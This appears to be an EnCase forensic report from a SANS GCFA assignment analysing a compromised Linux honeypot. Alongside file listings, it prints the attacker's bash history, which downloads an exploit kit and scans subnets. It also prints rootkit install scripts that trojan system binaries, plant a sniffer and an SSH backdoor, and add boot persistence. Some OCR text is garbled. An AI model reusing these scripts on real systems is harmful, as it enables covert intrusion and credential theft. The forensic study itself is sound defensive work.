<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:15:16AM</td>
<td>a1b52263b8a66d7c90fc549ef70230c4</td>
<td>41,984</td>
<td>41,966</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:26PM</td>
<td>8ab8813b5d0f080b7aead258c9fffc958</td>
<td>109,568</td>
<td>109,244</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:18PM</td>
<td>6f929c94c8a39954c7099b73c42ebf65</td>
<td>56,320</td>
<td>55,666</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>e079886945868cd8d4a5e4952b4cb0b0</td>
<td>10,240</td>
<td>9,929</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td>5,120</td>
<td>4,508</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td>5,120</td>
<td>4,508</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry</td>
<td>Last Access</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------</td>
<td>-------------</td>
<td>--------------</td>
<td>------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>69)</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>eb3e3d5dadd0e19b6b69a9e24ff790b2</td>
<td>64,512</td>
<td>64,160</td>
<td></td>
<td></td>
</tr>
<tr>
<td>70)</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:12:04PM</td>
<td>95dfe25136ed84b2c53ee8353761a23</td>
<td>97,280</td>
<td>96,896</td>
<td></td>
<td></td>
</tr>
<tr>
<td>71)</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>c0f09ce5d8d0a233cf59a39a8fa089be</td>
<td>12,288</td>
<td>12,044</td>
<td></td>
<td></td>
</tr>
<tr>
<td>72)</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:30:22AM</td>
<td>e6115dc653c46b08545e077a17da645aa</td>
<td>47,104</td>
<td>46,547</td>
<td></td>
<td></td>
</tr>
<tr>
<td>73)</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td>9,216</td>
<td>8,983</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:34PM
Hash Value f3abb84ec27e1badf4af1b480b31938
Physical Size 76,800
Logical Size 76,756

74) Name cfgfile.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/cfgfile.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/26/01 06:14:22PM
Hash Value ee752441cd67aec374e1d77ab4630977
Physical Size 17,408
Logical Size 16,951

75) Name cfgfile.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/cfgfile.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:20PM
Hash Value 0a445c0fa05cf6b6d3c4af0fc99ece2
Physical Size 71,680
Logical Size 71,392

76) Name socket.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/socket.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value b47201862975f1ee5b7879658822cdf1
Physical Size 11,264
Logical Size 10,616

77) Name services
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/inetd/services
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 03/15/02 07:27:40PM
Hash Value a964f156ab911428a2ae6e8349842f13
Physical Size 475,136
Logical Size 474,596

78) Name userlist.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/userlist.o
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 02:00:36PM</td>
<td>2e7bbdad4579b0c5b9609ad1be0ed02f</td>
<td>74,752</td>
<td>74,592</td>
</tr>
</tbody>
</table>

### 79) Name: usage.h

**Description:** File

**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/usage.h

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 06:28:20AM</td>
<td>de328096016c151d99126cb6b4a95</td>
<td>5,120</td>
<td>5,001</td>
</tr>
</tbody>
</table>

### 80) Name: vars.c

**Description:** File

**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/vars.c

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>57bdcdba9d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
</tbody>
</table>

### 81) Name: xmech.o

**Description:** File

**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/xmech.o

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:38PM</td>
<td>43ca3fc3c7bf56e00c75677de8ed6c43</td>
<td>86,016</td>
<td>85,984</td>
</tr>
</tbody>
</table>

### 82) Name: Makefile

**Description:** File

**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/Makefile

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 01:50:36PM</td>
<td>b0154c6a091fcccbe31669c9d756753</td>
<td>3,072</td>
<td>3,020</td>
</tr>
</tbody>
</table>

### 83) Name: solo

**Description:** File

**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/samba/solo

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:41:56PM</td>
<td>06/29/03 03:41:56PM</td>
<td>08/27/01 01:50:36PM</td>
<td>b0154c6a091fcccbe31669c9d756753</td>
<td>3,072</td>
<td>3,020</td>
</tr>
</tbody>
</table>
### Name: .bash_history

**Description:**

This appears to be a Bash history file from the root user of the system. It contains commands that correlate with sebek output.

**Full Path:**

Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history

**Entry Modified:**

06/29/03 05:21:44PM

**Last Accessed:**

06/30/03 04:50:00PM

**Last Written:**

06/29/03 05:21:44PM

**Hash Value:**

da617ff22a9bdf3508ada5a86d10217e

**Physical Size:**

3,072

**Logical Size:**

2,477

**Comment:**

Bash history file from root. Shows commands correlating with sebek output.

```bash
unset HISTFILES
cd /tmp
ls -al
dir -a1
rm -rf .
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font_unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./samba -d 0 -S XXX.XXX.54.*
nmap XXX.XXX.59.235
nmap XXX.XXX.61.126
./sys XXX.XXX.61.126
```

The script included in the document appears to be an attack script from the samba.tgz file.

```
./samba -v -p $3 -d 300000 -C 99 -b $2 $1
```
85) Name     weit
Description  File
Full Path     /usr/bin/weit
Entry Modified 06/29/03 03:22:10PM
Last Accessed 06/29/03 03:22:10PM
Last Written 03/24/02 07:23:19PM
Hash Value 2b008592a46a5a52008ba46a27116833
Physical Size 24,576
Logical Size 20,914

Comment: Root kit files
s.tar.gz files – infected with Linux RST.B Virus

Files from s.tar.gz
These files are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus (http://www.sophos.com/virusinfo/analyses/linuxrstb.htm l).

86) Name     install
Description  File
Full Path     /tmp\install
Entry Modified 06/29/03 03:22:08PM
Last Accessed 06/29/03 03:25:21PM
Last Written 03/24/03 09:37:31PM
Hash Value 5ab9ac0a738a778c85f53738f13869d
EnCase Computer Analysis Report
Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Physical Size 12,288
Logical Size 12,139

Comment: Here is the install script from the s.tar.gz file.

#!/bin/sh
# ===============================================
cl="", [0m"
cy="", [36m"
wht="", [37m"
hblk="", [1;30m"
hgrn="", [1;32m"
hcyan="", [1;36m"
whht="", [1;37m"
hred="", [1;31m"
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:
usr/bin:
/usr/sbin:
/usr/bi
chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog /etc/rc.d/init.d.functions >>install.log 2>&1
chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1
chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir >>install.log 2>&1
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
killall -9 portmap 2>>install.log
rm -f ../*.tgz 2>>install.log
if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
    echo "${cl}$hred|${whht}= ${cl}${wht}Installing trojaned programs${cl}${wht}"
    echo "${cl}${hred}|${hbl}" "ps"
    echo "|ps" >>install.log
    if [ ! "$2=1" ]; then
        mv -f /bin/ps /bin/mps >>install.log 2>&1
        if [ ! "x /bin/mps ]; then
            mv -f /bin/ps /bin/mps >>install.log 2>&1
        fi
        fi
        cp -f ps /bin >>install.log 2>&1
        if [ ! "/bin/mps ]; then
            cp -f ps /bin/mps >>install.log 2>&1
        fi
        echo "PS --> OK" >>install.log
    else
        echo "${cl}$hred|${hbl}" "" *** failed ***${cl}${wht}"
    fi
fi
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 248

```

echo "PS --> failed" >>install.log
fi

if [ ! -d /usr/include/rpcsvc ]; then
  mkdir -p /usr/include/rpcsvc >>install.log 2>&1
fi

echo "$(cl)$[hred]$(cl)$[hblk]-->$(cl)$[wht]top"
echo "|-->top " >>install.log
if [ ! -x /usr/bin/mtop ]; then
  mv -f /usr/bin/top /usr/bin/mtop >>install.log 2>&1
  cp -f top /usr/bin/ >>install.log 2>&1
  echo "TOP --> OK" >>install.log
else
  echo "$(cl)$[hred] *** failed ***$(cl)$[wht]"
echo "TOP --> failed" >>install.log
fi

echo "$(cl)$[hred]$(cl)$[hblk]-->$(cl)$[wht]pстree"
echo "|--->pстree " >>install.log
if [ ! "$(>2>&1 ./pстree >/dev/null)" ]; then
  if [ ! -x /usr/bin/mpстree ]; then
    mv -f /usr/bin/pстree /usr/bin/mpстree >>install.log 2>&1
    cp -f pстree /usr/bin/ >>install.log 2>&1
  fi
  echo "PSTREE --> OK" >>install.log
else
  echo "$(cl)$[hred] *** failed ***$(cl)$[wht]"
echo "PSTREE --> failed" >>install.log
fi

echo "$(cl)$[hred]$(cl)$[hblk]-->$(cl)$[wht]killall"
sh mpстree
echo "|--->killall " >>install.log
if [ ! "$(>2>&1 ./killall >/dev/null)" ]; then
  mv -f /usr/bin/killall /dev/killall >>install.log 2>&1
  cp -f killall /bin/ >>install.log 2>&1
  cp -f ls /usr/bin/dir
  cp -f vdir /usr/bin
  echo "alias ls='ls --color=tt)'" >> /etc/bashrc
  echo "LS DIR VDIR --> OK" >>install.log
else
  echo "$(cl)$[hred] *** failed ***$(cl)$[wht]"
echo "LS DIR VDIR --> failed" >>install.log
fi

echo "$(cl)$[hred]$(cl)$[hblk]-->$(cl)$[wht]ls"
echo "|-->ls-dir-vdir " >>install.log
unalias ls >/dev/null 2>&1
alias ls='ls --color=tt)' if [ ! "$>2>&1 ./ls >/dev/null" ]; then
  if [ ! -x /bin/ls ]; then
    mv -f /bin/ls /bin/mls >>install.log 2>&1
    fi
  cp -f ls /bin/ >>install.log 2>&1
  cp -f ls /usr/bin/dir
  cp -f vdir /usr/bin
  echo "alias ls='ls --color=tt)'" >> /etc/bashrc
  echo "LS DIR VDIR --> OK" >>install.log
else
  echo "$(cl)$[hred] *** failed ***$(cl)$[wht]"
echo "LS DIR VDIR --> failed" >>install.log
fi

echo "$(cl)$[hred]$(cl)$[hblk]-->$(cl)$[wht]find"
echo "|-->find " >>install.log
if [ ! -x /usr/bin/mfind ]; then
  mv -f /usr/bin/find /usr/bin/mfind
  cp -f find /usr/bin
  echo "FIND --> OK" >>install.log
else
  echo "$(cl)$[hred] *** failed ***$(cl)$[wht]
```
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report

Page 249

```bash
echo "FIND ----> failed" >>install.log
fi

echo "$({cl}|${hred}|${hblk})---------$({cl}|${wht}du"
echo "-------- du " >>install.log
if [ ! "$({2>&1 ./du >/dev/null}"
    then
    mv -f /usr/bin/du /usr/include/rpcsvc/du >>install.log 2>&1
    chmod -x /usr/include/rpcsvc/du
fi
cp -f du /usr/bin >>install.log 2>&1
echo "DU ----> OK" >>install.log
else
echo "$({cl}|${hred}) *** failed ***$({cl}|${wht})"
echo "DU ----> failed" >>install.log
fi

echo "$({cl}|${hred}|${hblk})---------$({cl}|${wht}netstat"
echo "-------- netstat " >>install.log
if [ ! "-x /bin/netstat"
    then
    mv -f /bin/netstat /bin/mnetstat >>install.log 2>&1
    cp -f netstat /bin/ >>install.log 2>&1
    echo "NETSTAT ----> OK" >>install.log
else
echo "$({cl}|${hred}) *** failed ***$({cl}|${wht})"
echo "NETSTAT ----> failed" >>install.log
fi

echo "$({cl}|${hbl}k)|${cl}|${hred}]*********** $({cl}|${wht}Installing my port*
cd nfsd;./nfsd
sleep 1
echo echo "$({cl}|${hbl}k)|${cl}|${hred}]*********** $({cl}|${wht}Ok, port opened."
echo echo "${cl}|${hred}|${hblk})---------$({cl}|${wht}Installing Utilities"

cp -f clean /usr/bin >>install.log

cp -f sense /usr/bin >>install.log

cp -f dos/sl2 /usr/bin

cp -f dos/foo /usr/bin

cp -f dos/st /usr/bin

cp -f dos/v /usr/bin

echo "=${cl}|${hred}|${hblk})---------$({cl}|${wht}Stealth"

cp -f linsniffer /usr/bin/lpd >>install.log

cp -f linsniffer /usr/bin/lpd >>/dev/logs/tcp.log &
echo "===== ${cl}|${hwht}Setting up crontab${cl}|${wht}"
mkdir /dev/logs
else
    echo "$({cl}|${hred})=${cl}|${hblk})--$({cl}|${wht}Creating Logs DIR"
mkdir /dev/logs
    echo "$({cl}|${hred})=${cl}|${hblk})--$({cl}|${wht}The logs dir is already present"
    chattr -iav /dev/logs
    mv -f /dev/logs /dev/dirlogs
    mkdir /dev/logs
fi
cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &

```

echo "$({cl}|${hblk})|${cl}|${hred})=${cl}|${hred}Setting up crontab$({cl}|${wht})"
if [ ! "-l /usr/bin/crontab -l"
    then
    /usr/bin/crontab cron-root >>install.log
    echo "$({cl}|${hred})=${cl}|${hblk})--$({cl}|${wht})CronTab Installed on user-root$({cl)}"
else
  echo "$({cl}$hred)$hgrn|$cl$black--$cl$hred}CronTab is already installed on user -root-$({cl}$hred)}"
  echo ---------------------------------------------------------------
  echo "$({cl}$hred) /usr/bin/crontab -l"$({cl}$hred)"
  echo ---------------------------------------------------------------
fi
else
  echo "$({cl}$hgrn}Ports Open$({cl}$whit)"
if [ -x /usr/sbin/lsof ]; then
  /usr/sbin/lsof|grep LISTEN
else
  /bin/netstat -a|grep LISTEN|grep tcp
fi
  echo "$({cl}$hgrn}Checking 4 Other RooTKITs$({cl}$whit)"
if [ -d /dev/ida/.inet ]; then
  echo "$({cl}$hred)/dev/ida/.inet$({cl}$whit)"
fi
if [ -f /usr/bin/hdparm ]; then
  echo "$({cl}$hred)/usr/bin/hdparm$({cl}$whit)"
fi
if [ -d /dev/.rd ]; then
  echo "$({cl}$hred)/dev/.rd$({cl}$whit)"
fi
if [ -d /var/run/.pid ]; then
  echo "$({cl}$hred)/var/run/.pid$({cl}$whit)"
fi
if [ "$locate alya.cgi 2>/dev/null" ]; then
  echo "$({cl}$hred)alya.cgi$({cl}$whit)"
  locate alya.cgi 2>/dev/null
fi
if [ "$locate .. 2>/dev/null|grep -v '1.gz'" ]; then
  echo "$({cl}$hred)Suspected Dirs: ${cl}$whit)"
  locate ..|egrep -v '1.gz'|head -n 40
EnCase Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report Page 251

```bash
en
```
<table>
<thead>
<tr>
<th>Number</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>87)</td>
<td>install.log</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:\tmp\s\install.log</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>65025494af2c14aeb979024429159fb8</td>
<td>1,024</td>
<td>510</td>
</tr>
<tr>
<td>88)</td>
<td>.1addr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:\tmp\s\1addr</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>11/26/02 09:50:52PM</td>
<td>ad46a56a4269f47eb407ac56d18cd955</td>
<td>1,024</td>
<td>32</td>
</tr>
<tr>
<td>89)</td>
<td>.1logz</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:\tmp\s\1logz</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>12/29/02 04:32:10PM</td>
<td>cf49f02b0d5ef45625baaa0e3125c878</td>
<td>1,024</td>
<td>68</td>
</tr>
<tr>
<td>90)</td>
<td>clean</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:\tmp\s\clean</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td>--------------</td>
<td>--------------</td>
<td>-----------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/06/02 04:26:29AM</td>
<td>f9e2970e3a7682440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>6e60f5c0f79a3526005c11821788f73f</td>
<td>32,768</td>
<td>32,539</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>02/06/02 04:31:03AM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>b33deb29db1aed8186ee048416b0bd68</td>
<td>1,024</td>
<td>969</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>db9c510fadc6c3c398fd1b0850d0c0b8</td>
<td>19,456</td>
<td>19,291</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>db9c510fadc6c3c398fd1b0850d0c0b8</td>
<td>19,456</td>
<td>19,291</td>
</tr>
</tbody>
</table>
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>19,456</td>
<td>19,291</td>
</tr>
</tbody>
</table>

**Comment:** sniffer program

**98) Name:** mpstree  
**Description:** File  
**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp.s/mpstree  
**Entry Modified:** 06/29/03 03:11:59PM  
**Last Accessed:** 06/29/03 03:25:20PM  
**Last Written:** 03/24/03 09:36:32PM  
**Hash Value:** 5f92011b1b8f8683f0b241eda20bffe  
**Physical Size:** 1,024  
**Logical Size:** 443

Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.

```bash
#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
chattr -AcdisSu /etc/rc.d/rc.sysinit
echo >>/etc/rc.d/rc.sysinit weit
cat /etc/rc.d/rc.sysinit | grep -v 'wait' > /etc/rc.d/rc.sysinit.old
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
chattr -AcdisSu /usr/bin/* >/dev/null 2>&1
mv weit /usr/bin/weit
touch -acmr /bin/df /usr/bin/weit
chmod +x /usr/bin/weit
/usr/bin/weit
```

**99) Name:** netstat  
**Description:** File  
**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp.s/netstat  
**Entry Modified:** 06/29/03 03:25:20PM  
**Last Accessed:** 06/29/03 03:25:20PM  
**Last Written:** 06/29/03 03:25:20PM  
**Hash Value:** 8a6c03c19c493dfca31bcee94ce45da  
**Physical Size:** 39,936  
**Logical Size:** 39,399

Comment:

**100) Name:** nfsdi  
**Description:** File  
**Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp.s/nfsd/nfsdi  
**Entry Modified:** 06/29/03 03:11:59PM  
**Last Accessed:** 06/29/03 03:25:21PM  
**Last Written:** 12/29/02 04:24:52PM  
**Hash Value:** 2aa369eaab6e83cb3be866df8ca03  
**Physical Size:** 1,024  
**Logical Size:** 884
Comment: Here is the nsfd.s script that is called from the install script to install the ssh backdoor.

```
#!/bin/sh
if [-x /usr/sbin/nfsd ]; then
  chattr -iau /usr/sbin/nfsd
  rm -f /usr/sbin/nfsd
  cp -f /p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +iau /usr/sbin/nfsd
else
  cp -f /p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +iau /usr/sbin/nfsd
fi
if [-f /bin/sshd_config ]; then
  chattr -iau /bin/sshd_config
  rm -f /bin/sshd_config
  cp -f sshd_config /bin
  chattr +iau /bin/sshd_config
else
  cp -f sshd_config /bin
  chattr +iau /bin/sshd_config
fi
cp -f xsh_r /sbin
 cp -f xsh_h /sbin
 /usr/sbin/nfsd -f /sbin/sshd_config
 chattr -iau /etc/rc.d/init.d/syslog
 chattr -iau /etc/rc.d/init.d/functions
 echo "/usr/sbin/nfsd -f /bin/sshd_config" >> /etc/rc.d/init.d/syslog
 echo "/usr/sbin/nfsd -f /bin/sshd_config" >> /etc/rc.d/init.d/functions
 chattr +iau /etc/rc.d/init.d/syslog
 chattr +iau /etc/rc.d/init.d/functions
101) Name p.ssh
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/	mp\s/p.ssh
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:20PM
Last Written 03/24/03 09:29:48PM
Hash Value 0ef7a0c48b1caee0e35e209a034be78fa
Physical Size 77,824
Logical Size 77,344

Comment: This script is called by the install script right after the killall trojan is installed. The line that calles it is "sh p.ssh".

#!/bin/bash
D="/.x"
M=".x"
mkdir -p SD; cd SD
echo > libgc.so; chmod 0622 libgc.so
echo -n -e "\x03\x12\x01\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\